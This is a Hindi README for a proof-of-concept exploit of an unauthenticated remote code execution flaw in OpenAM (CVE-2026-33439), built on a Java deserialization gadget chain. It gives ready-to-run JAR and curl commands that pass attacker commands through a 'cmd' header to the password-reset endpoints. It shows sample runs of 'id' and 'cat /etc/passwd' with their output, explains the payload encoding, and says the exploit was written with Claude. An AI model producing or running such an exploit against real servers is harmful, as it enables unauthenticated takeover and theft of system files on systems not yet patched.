
OpenAM प्री-ऑथ RCE (CVE-2026-33439) के लिए एक्सप्लॉइट, जो Java डिसीरियलाइज़ेशन गैजेट चेन का उपयोग करके कमांड निष्पादित करता है और आउटपुट सीधे HTTP प्रतिक्रिया में लौटाता है।
कमांड आउटपुट सीधे HTTP प्रतिक्रिया में — कोई DNS एक्सफिल्ट्रेशन या OOB की आवश्यकता नहीं।
डिसीरियलाइज़ेशन के दौरान सक्रिय JATO ThreadLocal अनुरोध/प्रतिक्रिया तक पहुँचने के लिए com.iplanet.jato.RequestManager.getRequestContext() का उपयोग करता है। Java 21+ पर काम करता है जहाँ क्लासिक Tomcat इको तकनीकें (Thread.target / ThreadGroup.threads ट्रैवर्सल) विफल हो जाती हैं।
javac की आवश्यकता है)click-nodeps-2.3.0.jar और xalan-2.7.x.jar के साथ लक्षित OpenAM| एंडपॉइंट | इको आउटपुट |
|---|
/sso/ui/PWResetUserValidation | HTTP 200, बॉडी में कमांड आउटपुट |
/sso/ui/PWResetQuestion | HTTP 200, बॉडी में कमांड आउटपुट |
/sso/ui/PWResetSuccess | HTTP 200, बॉडी में कमांड आउटपुट |
परीक्षण किया गया लेकिन कोई इको आउटपुट नहीं (डिसीरियलाइज़ेशन फिर भी ट्रिगर होता है):
/sso/ui/PWResetInvalidURL — त्रुटि पृष्ठ लौटाया गया/sso/ui/PWResetUncaughtException — त्रुटि पृष्ठ लौटाया गया./build.sh
JAR स्वचालित रूप से --add-opens JVM फ्लैग जोड़ता है — उन्हें मैन्युअल रूप से निर्दिष्ट करने की आवश्यकता नहीं है।
# ऑल-इन-वन: पेलोड उत्पन्न करें + भेजें + आउटपुट दिखाएं (Burp के माध्यम से प्रॉक्सी)
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'cat /etc/passwd'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'uname -a'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'hostname && whoami && pwd'
# Burp प्रॉक्सी के बिना
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id' --no-proxy
# पुन: प्रयोज्य पेलोड उत्पन्न करें (कमांड अनुरोध समय पर 'cmd' हेडर से आता है)
P=$(java -jar CVE-2026-33439-Echo.jar generate 2>/dev/null)
curl -sk -H 'cmd: id' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: cat /etc/passwd' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: ls -la /' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'id'
uid=8866(docker) gid=8865(docker) groups=8865(docker)
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
docker:x:8866:8865::/home/docker:/bin/bash
PriorityQueue डिसीरियलाइज़ेशन पेलोड उत्पन्न करता है (Click1 + Xalan TemplatesImpl गैजेट चेन)RequestManager.getRequestContext() को कॉल करता हैcmd HTTP हेडर पढ़ता है, sh -c <cmd> निष्पादित करता है, stdout+stderr को response.getOutputStream() पर लिखता है\x00 उपसर्ग + URL-सुरक्षित Base64, कोई पैडिंग नहीं)/sso/ui/PWResetUserValidation?jato.clientSession=<payload> पर भेजा गया (अप्रमाणित)CVE-2026-33439-PoC-echo/
CVE-2026-33439-Echo.jar # एक्सप्लॉइट JAR
build.sh # बिल्ड स्क्रिप्ट
MANIFEST.MF # JAR मैनिफेस्ट
README.md # यह फ़ाइल
lib/ # निर्भरताएँ (JAR के पास ही रहनी चाहिए)
click-nodeps-2.3.0.jar
xalan-2.7.1.jar
serializer-2.7.3.jar
javax.servlet-api-4.0.1.jar
src/
CVE_2026_33439_Echo.java # स्रोत कोड
OpenAM कमिट 014007c63cacc834cc795a89fac0e611aebc4a32 में पैच किया गया — SessionEncodeURL.readSessionID() में ObjectInputStream में क्लास फ़िल्टर जोड़ता है।
PoC Claude का उपयोग करके बनाया गया था; प्रॉम्प्ट राइट-अप (https://www.hacktron.ai/blog/openam-deserialization-pre-auth-rce) और Git कमिट (https://github.com/OpenIdentityPlatform/OpenAM/commit/014007c63cacc834cc795a89fac0e611aebc4a32) था।